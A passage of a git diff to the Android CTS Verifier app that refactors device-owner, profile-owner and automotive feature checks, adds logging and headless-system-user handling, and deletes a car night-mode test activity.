import android.app.Activity;
-import android.content.pm.PackageManager;
import android.os.Bundle;
import android.view.WindowManager;
@@ -31,7 +32,7 @@
public class OverlayingActivity extends Activity {
- private static final long ACTIVITY_TIMEOUT_ON_WATCH = 10_000;
+ private static final long ACTIVITY_TIMEOUT = 10_000;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -40,9 +41,11 @@
WindowManager.LayoutParams params = getWindow().getAttributes();
params.flags = FLAG_LAYOUT_NO_LIMITS | FLAG_NOT_TOUCH_MODAL | FLAG_NOT_TOUCHABLE
| FLAG_KEEP_SCREEN_ON;
- if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+
+ if (isWatchOrAutomotive(this)) {
+ // Automatically finish the overlaying activity after a timeout.
getWindow().getDecorView().postDelayed(() -> OverlayingActivity.this.finish(),
- ACTIVITY_TIMEOUT_ON_WATCH);
+ ACTIVITY_TIMEOUT);
}
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
deleted file mode 100644
index 786dc57..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.car;
-
-import android.car.Car;
-import android.car.hardware.CarPropertyConfig;
-import android.car.hardware.CarPropertyValue;
-import android.car.hardware.property.CarPropertyManager;
-import android.car.VehicleAreaType;
-import android.car.VehiclePropertyIds;
-import android.os.Bundle;
-import android.widget.TextView;
-import android.util.ArraySet;
-import android.util.Log;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.Arrays;
-import java.util.List;
-
-/** A CTS Verifier test case to verify NIGHT_MODE is implemented correctly.*/
-public class NightModeTestActivity extends PassFailButtons.Activity {
- private static final String TAG = NightModeTestActivity.class.getSimpleName();
- private static final int TOTAL_MATCHES_NEEDED_TO_FINISH = 2;
- private static final String TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION =
- "TotalTimesNewValueMatchedInstruction";
- private static final String CURRENT_NIGHT_MODE_VALUE = "CurrentNightModeValue";
- private Boolean mCurrentNightModeValue;
- private TextView mInstructionTextView;
- private TextView mCurrentNightModeValueTextView;
- private int mTotalTimesNewValueMatchedInstruction = 0;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- // Setup the UI.
- setContentView(R.layout.night_mode_test);
- setPassFailButtonClickListeners();
- setInfoResources(R.string.night_mode_test, R.string.night_mode_test_desc, -1);
- getPassButton().setEnabled(false);
-
- mInstructionTextView = (TextView) findViewById(R.id.night_mode_instruction);
- mInstructionTextView.setText("Waiting to get first NIGHT_MODE callback from Vehicle HAL");
- mCurrentNightModeValueTextView = (TextView) findViewById(R.id.current_night_mode_value);
-
-
- CarPropertyManager carPropertyManager =
- (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
-
- if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
- VehiclePropertyIds.NIGHT_MODE, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
- mInstructionTextView.setText("ERROR: Unable to register for NIGHT_MODE callback");
- Log.e(TAG, "Failed to register callback for NIGHT_MODE with CarPropertyManager");
- }
- }
-
- // Need to save the state because of the UI Mode switch with the change in the NIGHT_MODE
- // property value.
- @Override
- protected void onSaveInstanceState(final Bundle outState) {
- super.onSaveInstanceState(outState);
- outState.putBoolean(CURRENT_NIGHT_MODE_VALUE, mCurrentNightModeValue);
- outState.putInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION,
- mTotalTimesNewValueMatchedInstruction);
- }
-
- @Override
- protected void onRestoreInstanceState(final Bundle savedInstanceState) {
- super.onRestoreInstanceState(savedInstanceState);
- mCurrentNightModeValue = savedInstanceState.getBoolean(CURRENT_NIGHT_MODE_VALUE);
- mTotalTimesNewValueMatchedInstruction =
- savedInstanceState.getInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION);
- }
-
- private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
- new CarPropertyManager.CarPropertyEventCallback() {
- @Override
- public void onChangeEvent(CarPropertyValue value) {
- if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
- Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
- value.getPropertyId() + " status: " + value.getStatus());
- return;
- }
-
- Boolean newValue = (Boolean) value.getValue();
- Log.i(TAG, "New NIGHT_MODE value: " + newValue);
-
- // On the first callback, mCurrentNightModeValue will be null, so just save the
- // current value. All other callbacks, check if the NIGHT_MODE value has switched.
- // If switched, update the count.
- if (mCurrentNightModeValue != null && !mCurrentNightModeValue.equals(newValue)) {
- mTotalTimesNewValueMatchedInstruction++;
- }
-
- mCurrentNightModeValue = newValue;
- mCurrentNightModeValueTextView.setText(mCurrentNightModeValue.toString());
-
- // Check if the test is finished. If not finished, update the instructions.
- if(mTotalTimesNewValueMatchedInstruction >= TOTAL_MATCHES_NEEDED_TO_FINISH) {
- mInstructionTextView.setText("Test Finished!");
- getPassButton().setEnabled(true);
- } else if(mCurrentNightModeValue) {
- mInstructionTextView.setText("Toggle off NIGHT_MODE through Vehicle HAL");
- } else {
- mInstructionTextView.setText("Toggle on NIGHT_MODE through Vehicle HAL");
- }
- }
-
- @Override
- public void onErrorEvent(int propId, int zone) {
- Log.e(TAG, "propId: " + propId + " zone: " + zone);
- }
- };
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index 4b188d8..e7bced9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -73,6 +73,20 @@
}
/**
+ * Checks whether the device supports installing from unknown sources
+ */
+ public static boolean isInstallUnknownSourcesSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
+ * Checks whether the device supports file transfer.
+ */
+ public static boolean isUsbFileTransferSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
* Checks whether the device is watch .
*/
private static boolean isWatch(Context context) {
@@ -83,17 +97,32 @@
/**
* Checks whether the device is watch or automotive
*/
- private static boolean isWatchOrAutomotive(Context context) {
+ public static boolean isWatchOrAutomotive(Context context) {
PackageManager pm = context.getPackageManager();
return pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
|| pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
/**
+ * Checks whether the device is automotive
+ */
+ public static boolean isAutomotive(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
+ /**
* Checks whether the device supports managed secondary users.
*/
public static boolean supportManagedSecondaryUsers(Context context) {
return (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)
|| UserManager.isHeadlessSystemUserMode()) && UserManager.supportsMultipleUsers();
}
+
+ /**
+ * Checks whether the device shows keyguard when the user doesn't have credentials.
+ */
+ public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) {
+ return !isAutomotive(context);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 627ec44..7ee0ed13 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -22,6 +22,7 @@
import android.Manifest;
import android.app.Activity;
+import android.app.ActivityManager;
import android.app.KeyguardManager;
import android.app.PendingIntent;
import android.app.admin.DevicePolicyManager;
@@ -186,6 +187,7 @@
private ComponentName mAdmin;
private DevicePolicyManager mDpm;
private UserManager mUm;
+ private ActivityManager mAm;
@Override
public void onCreate(Bundle savedInstanceState) {
@@ -200,10 +202,11 @@
mDpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
DeviceAdminTestReceiver.class, forDeviceOwner);
- mUm = (UserManager) getSystemService(Context.USER_SERVICE);
+ mUm = getSystemService(UserManager.class);
+ mAm = getSystemService(ActivityManager.class);
mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
final String command = intent.getStringExtra(EXTRA_COMMAND);
- Log.i(TAG, "Command: " + command);
+ Log.i(TAG, "Command: " + command + " forDeviceOwner: " + forDeviceOwner);
switch (command) {
case COMMAND_SET_USER_RESTRICTION: {
String restrictionKey = intent.getStringExtra(EXTRA_USER_RESTRICTION);
@@ -249,6 +252,9 @@
} break;
case COMMAND_SET_STATUSBAR_DISABLED: {
boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
+ Log.d(TAG, "calling setStatusBarDisabled("
+ + ComponentName.flattenToShortString(mAdmin) + ", " + enforced
+ + ") using " + mDpm + " on user " + UserHandle.myUserId());
mDpm.setStatusBarDisabled(mAdmin, enforced);
} break;
case COMMAND_SET_LOCK_TASK_FEATURES: {
@@ -285,11 +291,12 @@
return;
}
clearAllPoliciesAndRestrictions();
+ Log.i(TAG, "Clearing device owner app " + getPackageName());
mDpm.clearDeviceOwnerApp(getPackageName());
- // TODO(b/179100903): temporarily removing PO, should be done automatically
if (UserManager.isHeadlessSystemUserMode()) {
- Log.i(TAG, "Disabling PO on user " + UserHandle.myUserId());
+ Log.i(TAG, "Clearing profile owner app (" + mAdmin.flattenToString()
+ + " on user " + UserHandle.myUserId());
DevicePolicyManager localDpm = getSystemService(DevicePolicyManager.class);
localDpm.clearProfileOwner(mAdmin);
}
@@ -373,6 +380,7 @@
uninstallHelperPackage();
} break;
case COMMAND_SET_PERMISSION_GRANT_STATE: {
+ Log.d(TAG, "Granting permission using " + mDpm);
mDpm.setPermissionGrantState(mAdmin, getPackageName(),
intent.getStringExtra(EXTRA_PERMISSION),
intent.getIntExtra(EXTRA_GRANT_STATE,
@@ -476,16 +484,22 @@
mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 0);
} break;
case COMMAND_SET_DEFAULT_IME: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!mDpm.isDeviceOwnerApp(getPackageName())
+ && !UserManager.isHeadlessSystemUserMode()) {
return;
}
+ Log.d(TAG, "Setting " + Settings.Secure.DEFAULT_INPUT_METHOD + " using "
+ + mDpm);
mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD,
getPackageName());
} break;
case COMMAND_CLEAR_DEFAULT_IME: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!mDpm.isDeviceOwnerApp(getPackageName())
+ && !UserManager.isHeadlessSystemUserMode()) {
return;
}
+ Log.d(TAG, "Clearing " + Settings.Secure.DEFAULT_INPUT_METHOD + " using "
+ + mDpm);
mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD, null);
} break;
case COMMAND_CREATE_MANAGED_USER:{
@@ -497,8 +511,15 @@
UserHandle userHandle = mDpm.createAndManageUser(mAdmin, "managed user", mAdmin,
extras,
SKIP_SETUP_WIZARD | MAKE_USER_EPHEMERAL);
+ Log.i(TAG, "Created user " + userHandle + "; setting affiliation ids to "
+ + DeviceAdminTestReceiver.AFFILIATION_ID);
mDpm.setAffiliationIds(mAdmin,
Collections.singleton(DeviceAdminTestReceiver.AFFILIATION_ID));
+ // TODO(b/204483021): move to helper class / restore after user is logged out
+ if (UserManager.isHeadlessSystemUserMode()) {
+ mAm.setStopUserOnSwitch(ActivityManager.STOP_USER_ON_SWITCH_FALSE);
+ }
+ Log.d(TAG, "Starting user " + userHandle);
mDpm.startUserInBackground(mAdmin, userHandle);
} break;
case COMMAND_CREATE_MANAGED_USER_WITHOUT_SETUP:{
@@ -689,6 +710,8 @@
private static Intent createSetUserRestrictionIntent(String restriction, boolean enforced,
boolean forceCurrentUserDpm) {
+ Log.d(TAG, "createSetUserRestrictionIntent(): restriction=" + restriction
+ + ", enforced=" + enforced + ", forceCurrentUserDpm=" + forceCurrentUserDpm);
Intent intent = new Intent(ACTION_EXECUTE_COMMAND);
if (forceCurrentUserDpm) {
intent.putExtra(EXTRA_USE_CURRENT_USER_DPM, true);
@@ -730,6 +753,11 @@
UserHandle userHandle = mDpm.createAndManageUser(mAdmin, "managed user", mAdmin,
extras,
SKIP_SETUP_WIZARD | MAKE_USER_EPHEMERAL);
+ // TODO(b/204483021): move to helper class / restore after user is logged out
+ if (UserManager.isHeadlessSystemUserMode()) {
+ mAm.setStopUserOnSwitch(ActivityManager.STOP_USER_ON_SWITCH_FALSE);
+ }
+ Log.d(TAG, "Switching to user " + userHandle);
mDpm.switchUser(mAdmin, userHandle);
}
@@ -743,4 +771,12 @@
return resolveInfo.activityInfo.packageName;
}
+
+ static Intent createIntentForDisablingKeyguardOrStatusBar(Context context, String command,
+ boolean disabled) {
+ return new Intent(context, CommandReceiverActivity.class)
+ .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
+ .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
+ .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, disabled);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index bb1d341..4b5bd53 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -43,6 +43,7 @@
import java.util.Collections;
import java.util.HashSet;
+import java.util.List;
import java.util.Set;
import java.util.function.Consumer;
@@ -74,16 +75,20 @@
if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
+ DevicePolicyManager dpm = getManager(context);
String action = intent.getAction();
- Log.d(TAG, "onReceive(): user=" + UserHandle.myUserId() + ", action=" + action);
+ Log.d(TAG, "onReceive(): user=" + UserHandle.myUserId() + ", action=" + action
+ + ", EXTRA_USER=" + intent.getExtra(Intent.EXTRA_USER)
+ + ", dpm=" + dpm);
// Must set affiliation on headless system user, otherwise some operations in the current
// user (which is PO) won't be allowed (like uininstalling a package)
if (ACTION_DEVICE_ADMIN_ENABLED.equals(action) && UserManager.isHeadlessSystemUserMode()) {
- Set<String> ids = new HashSet<>();
- ids.add("affh!");
+ Set<String> ids = new HashSet<>(1);
+ ids.add(DeviceAdminTestReceiver.AFFILIATION_ID);
Log.i(TAG, "Setting affiliation ids to " + ids);
- getManager(context).setAffiliationIds(getWho(context), ids);
+ dpm.setAffiliationIds(getWho(context), ids);
+ Log.i(TAG, "Is affiliated: " + dpm.isAffiliatedUser());
}
super.onReceive(context, intent);
@@ -133,7 +138,8 @@
@Override
public void onEnabled(Context context, Intent intent) {
- Log.i(TAG, "Device admin enabled");
+ int myUserId = UserHandle.myUserId();
+ Log.i(TAG, "Device admin enabled on user " + myUserId);
if (intent.getBooleanExtra(EXTRA_MANAGED_USER_TEST, false)) {
DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
ComponentName admin = getReceiverComponentName();
@@ -146,7 +152,7 @@
bindPrimaryUserService(context, iCrossUserService -> {
try {
UserHandle userHandle = Process.myUserHandle();
- Log.d(TAG, "calling switchUser(" + userHandle + ")");
+ Log.d(TAG, "calling switchUser(" + userHandle + ") from " + myUserId);
iCrossUserService.switchUser(userHandle);
} catch (RemoteException re) {
Log.e(TAG, "Error when calling primary user", re);
@@ -247,8 +253,10 @@
private void bindPrimaryUserService(Context context, Consumer<ICrossUserService> consumer) {
DevicePolicyManager devicePolicyManager = context.getSystemService(
DevicePolicyManager.class);
- UserHandle primaryUser = devicePolicyManager.getBindDeviceAdminTargetUsers(
- getReceiverComponentName()).get(0);
+ List<UserHandle> adminUsers = devicePolicyManager.getBindDeviceAdminTargetUsers(
+ getReceiverComponentName());
+ Log.d(TAG, "bindPrimaryUserService(): admins=" + adminUsers);
+ UserHandle primaryUser = adminUsers.get(0);
Log.d(TAG, "Calling primary user: " + primaryUser);
final ServiceConnection serviceConnection = new ServiceConnection() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 37237c3..670c424 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -18,6 +18,7 @@
import static android.os.UserHandle.myUserId;
+import static com.android.cts.verifier.managedprovisioning.CommandReceiverActivity.createIntentForDisablingKeyguardOrStatusBar;
import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
import android.app.Activity;
@@ -31,7 +32,6 @@
import android.provider.Settings;
import android.util.Log;
import android.view.View;
-import android.view.View.OnClickListener;
import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
import com.android.cts.verifier.ArrayTestListAdapter;
@@ -162,25 +162,25 @@
setTestListAdapter(adapter);
View setDeviceOwnerButton = findViewById(R.id.set_device_owner_button);
- setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- StringBuilder builder = new StringBuilder();
- if (UserManager.isHeadlessSystemUserMode()) {
- builder.append(getString(R.string.grant_headless_system_user_permissions));
- }
-
- String message = builder.append(getString(R.string.set_device_owner_dialog_text))
- .toString();
- Log.i(TAG, message);
- new AlertDialog.Builder(
- DeviceOwnerPositiveTestActivity.this)
- .setIcon(android.R.drawable.ic_dialog_info)
- .setTitle(R.string.set_device_owner_dialog_title)
- .setMessage(message)
- .setPositiveButton(android.R.string.ok, null)
- .show();
+ setDeviceOwnerButton.setOnClickListener((v) -> {
+ StringBuilder builder = new StringBuilder();
+ int messageResId;
+ if (UserManager.isHeadlessSystemUserMode()) {
+ builder.append(getString(R.string.grant_headless_system_user_permissions));
+ messageResId = R.string.set_device_owner_headless_dialog_text;
+ } else {
+ messageResId = R.string.set_device_owner_dialog_text;
}
+
+ String message = builder.append(getString(messageResId)).toString();
+ Log.i(TAG, message);
+ new AlertDialog.Builder(
+ DeviceOwnerPositiveTestActivity.this)
+ .setIcon(android.R.drawable.ic_dialog_info)
+ .setTitle(R.string.set_device_owner_dialog_title)
+ .setMessage(message)
+ .setPositiveButton(android.R.string.ok, null)
+ .show();
});
}
@@ -353,8 +353,7 @@
}
// DISALLOW_USB_FILE_TRANSFER
- // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
- if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ if (FeatureUtil.isUsbFileTransferSupported(this)) {
adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
R.string.device_owner_disallow_usb_file_transfer_test,
R.string.device_owner_disallow_usb_file_transfer_test_info,
@@ -378,32 +377,35 @@
new ButtonInfo[] {
new ButtonInfo(
R.string.device_owner_disable_statusbar_button,
- createDeviceOwnerIntentWithBooleanParameter(
+ createIntentForDisablingKeyguardOrStatusBar(this,
CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
- true)),
+ /* disabled= */ true)),
new ButtonInfo(
R.string.device_owner_reenable_statusbar_button,
- createDeviceOwnerIntentWithBooleanParameter(
+ createIntentForDisablingKeyguardOrStatusBar(this,
CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
- false))}));
+ /* disabled= */ false))
+ }));
}
// setKeyguardDisabled
- if (isKeyguardShownWhenUserDoesntHaveCredentials() && Utils.isLockscreenSupported(this)) {
+ if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)
+ && Utils.isLockscreenSupported(this)) {
adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
R.string.device_owner_disable_keyguard_test,
R.string.device_owner_disable_keyguard_test_info,
new ButtonInfo[] {
new ButtonInfo(
R.string.device_owner_disable_keyguard_button,
- createDeviceOwnerIntentWithBooleanParameter(
+ createIntentForDisablingKeyguardOrStatusBar(this,
CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
- true)),
+ /* disabled= */ true)),
new ButtonInfo(
R.string.device_owner_reenable_keyguard_button,
- createDeviceOwnerIntentWithBooleanParameter(
+ createIntentForDisablingKeyguardOrStatusBar(this,
CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
- false))}));
+ /* disabled= */ false))
+ }));
}
// setLockTaskFeatures
@@ -504,20 +506,20 @@
R.string.device_owner_disallow_user_switch,
R.string.device_owner_disallow_user_switch_info,
new ButtonInfo[]{
- new ButtonInfo(
- R.string.device_owner_disallow_user_switch_create_user,
+ new ButtonInfo(R.string.device_owner_disallow_user_switch_create_user,
createCreateManagedUserWithoutSetupIntent()),
- new ButtonInfo(
- R.string.device_owner_user_restriction_set,
- CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
- UserManager.DISALLOW_USER_SWITCH, true)),
- new ButtonInfo(
- R.string.device_owner_settings_go,
+ new ButtonInfo(R.string.device_owner_user_restriction_set,
+ CommandReceiverActivity
+ .createSetDeviceOwnerUserRestrictionIntent(
+ UserManager.DISALLOW_USER_SWITCH,
+ /* enforced= */ true)),
+ new ButtonInfo(R.string.device_owner_settings_go,
new Intent(Settings.ACTION_USER_SETTINGS)),
- new ButtonInfo(
- R.string.device_owner_user_restriction_unset,
- CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
- UserManager.DISALLOW_USER_SWITCH, false))
+ new ButtonInfo(R.string.device_owner_user_restriction_unset,
+ CommandReceiverActivity
+ .createSetDeviceOwnerUserRestrictionIntent(
+ UserManager.DISALLOW_USER_SWITCH,
+ /* enforced= */ false))
}));
// DISALLOW_REMOVE_USER
@@ -635,12 +637,6 @@
CommandReceiverActivity.COMMAND_REMOVE_DEVICE_OWNER);
}
- private Intent createDeviceOwnerIntentWithBooleanParameter(String command, boolean value) {
- return new Intent(this, CommandReceiverActivity.class)
- .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
- .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, value);
- }
-
private Intent createSetUserIconIntent(int iconRes) {
return new Intent(this, CommandReceiverActivity.class)
.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
@@ -721,11 +717,7 @@
// Watches don't support the status bar so this is an ok proxy, but this is not the most
// general test for that. TODO: add a test API to do a real check for status bar support.
return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
- && !isAutomotive() && !isTelevision();
- }
-
- private boolean isKeyguardShownWhenUserDoesntHaveCredentials() {
- return !isAutomotive();
+ && !isTelevision();
}
private boolean isSwipeToUnlockSupported() {
@@ -733,7 +725,7 @@
}
private boolean isAutomotive() {
- return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ return FeatureUtil.isAutomotive(this);
}
private boolean isTelevision() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
index 8d15ca9..4a4eae4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
@@ -16,6 +16,8 @@
package com.android.cts.verifier.managedprovisioning;
+import static android.os.UserHandle.myUserId;
+
import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
import android.app.Activity;
@@ -24,8 +26,9 @@
import android.content.Intent;
import android.database.DataSetObserver;
import android.os.Bundle;
+import android.os.UserManager;
+import android.util.Log;
import android.view.View;
-import android.view.View.OnClickListener;
import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
import com.android.cts.verifier.ArrayTestListAdapter;
@@ -46,11 +49,20 @@
private static final String TAG = "DeviceOwnerRequestingBugreportTestActivity";
private static final String ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT =
- "com.android.cts.verifier.managedprovisioning.action" +
- ".CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT";
+ "com.android.cts.verifier.managedprovisioning.action"
+ + ".CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT";
+ private static final String ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT =
+ "com.android.cts.verifier.managedprovisioning.action"
+ + ".CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT";
+ private static final String ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT =
+ "com.android.cts.verifier.managedprovisioning.action"
+ + ".CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT";
+
static final String EXTRA_TEST_ID = "extra-test-id";
private static final String CHECK_DEVICE_OWNER_TEST_ID = "CHECK_DEVICE_OWNER";
+ private static final String CHECK_PROFILE_OWNER_TEST_ID = "CHECK_PROFILE_OWNER";
+ private static final String CHECK_USER_AFFILIATED_TEST_ID = "CHECK_USER_AFFILIATED";
private static final String DEVICE_ADMIN_SETTINGS_ID = "DEVICE_ADMIN_SETTINGS";
private static final String BUGREPORT_SHARING_DECLINED_WHILE_BEING_TAKEN =
"BUGREPORT_SHARING_DECLINED_WHILE_RUNNING";
@@ -65,18 +77,58 @@
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- if (ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT.equals(getIntent().getAction())) {
- DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
- DeviceAdminTestReceiver.class, /* forDeviceOwner= */ true);
- if (dpm.isDeviceOwnerApp(getPackageName())) {
- TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
- null, null);
- } else {
- TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
- getString(R.string.device_owner_incorrect_device_owner), null);
+
+ String action = getIntent().getAction();
+ Log.d(TAG, "onCreate(): action = " + action);
+ boolean validAction = true;
+ if (action != null) {
+ DevicePolicyManager dpm = null;
+ switch (action) {
+ case ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT:
+ dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+ DeviceAdminTestReceiver.class, /* forDeviceOwner= */ true);
+ if (dpm.isDeviceOwnerApp(getPackageName())) {
+ TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ null, null);
+ } else {
+ TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ getString(R.string.device_owner_incorrect_device_owner, myUserId()),
+ null);
+ }
+ break;
+ case ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT:
+ dpm = getSystemService(DevicePolicyManager.class);
+ if (dpm.isProfileOwnerApp(getPackageName())) {
+ TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ null, null);
+ } else {
+ TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ getString(R.string.device_owner_incorrect_profile_owner,
+ myUserId()),
+ null);
+ }
+ break;
+ case ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT:
+ dpm = getSystemService(DevicePolicyManager.class);
+ if (dpm.isAffiliatedUser()) {
+ TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ null, null);
+ } else {
+ TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ getString(R.string.device_owner_user_not_affiliated, myUserId()),
+ null);
+ }
+ break;
+ default:
+ Log.w(TAG, "invalid action on intent: " + action);
+ validAction = false;
+ break;
}
- finish();
- return;
+ if (validAction) {
+ Log.d(TAG, "Finishing activity");
+ finish();
+ return;
+ }
}
// Tidy up in case previous run crashed.
@@ -103,28 +155,34 @@
setTestListAdapter(adapter);
View setDeviceOwnerButton = findViewById(R.id.set_device_owner_button);
- setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- new AlertDialog.Builder(
- DeviceOwnerRequestingBugreportTestActivity.this)
+ setDeviceOwnerButton.setOnClickListener((v) -> new AlertDialog.Builder(
+ DeviceOwnerRequestingBugreportTestActivity.this)
.setIcon(android.R.drawable.ic_dialog_info)
.setTitle(R.string.set_device_owner_dialog_title)
- .setMessage(R.string.set_device_owner_dialog_text)
+ .setMessage(UserManager.isHeadlessSystemUserMode()
+ ? R.string.set_device_owner_headless_dialog_text
+ : R.string.set_device_owner_dialog_text)
.setPositiveButton(android.R.string.ok, null)
- .show();
- }
- });
+ .show());
}
@Override
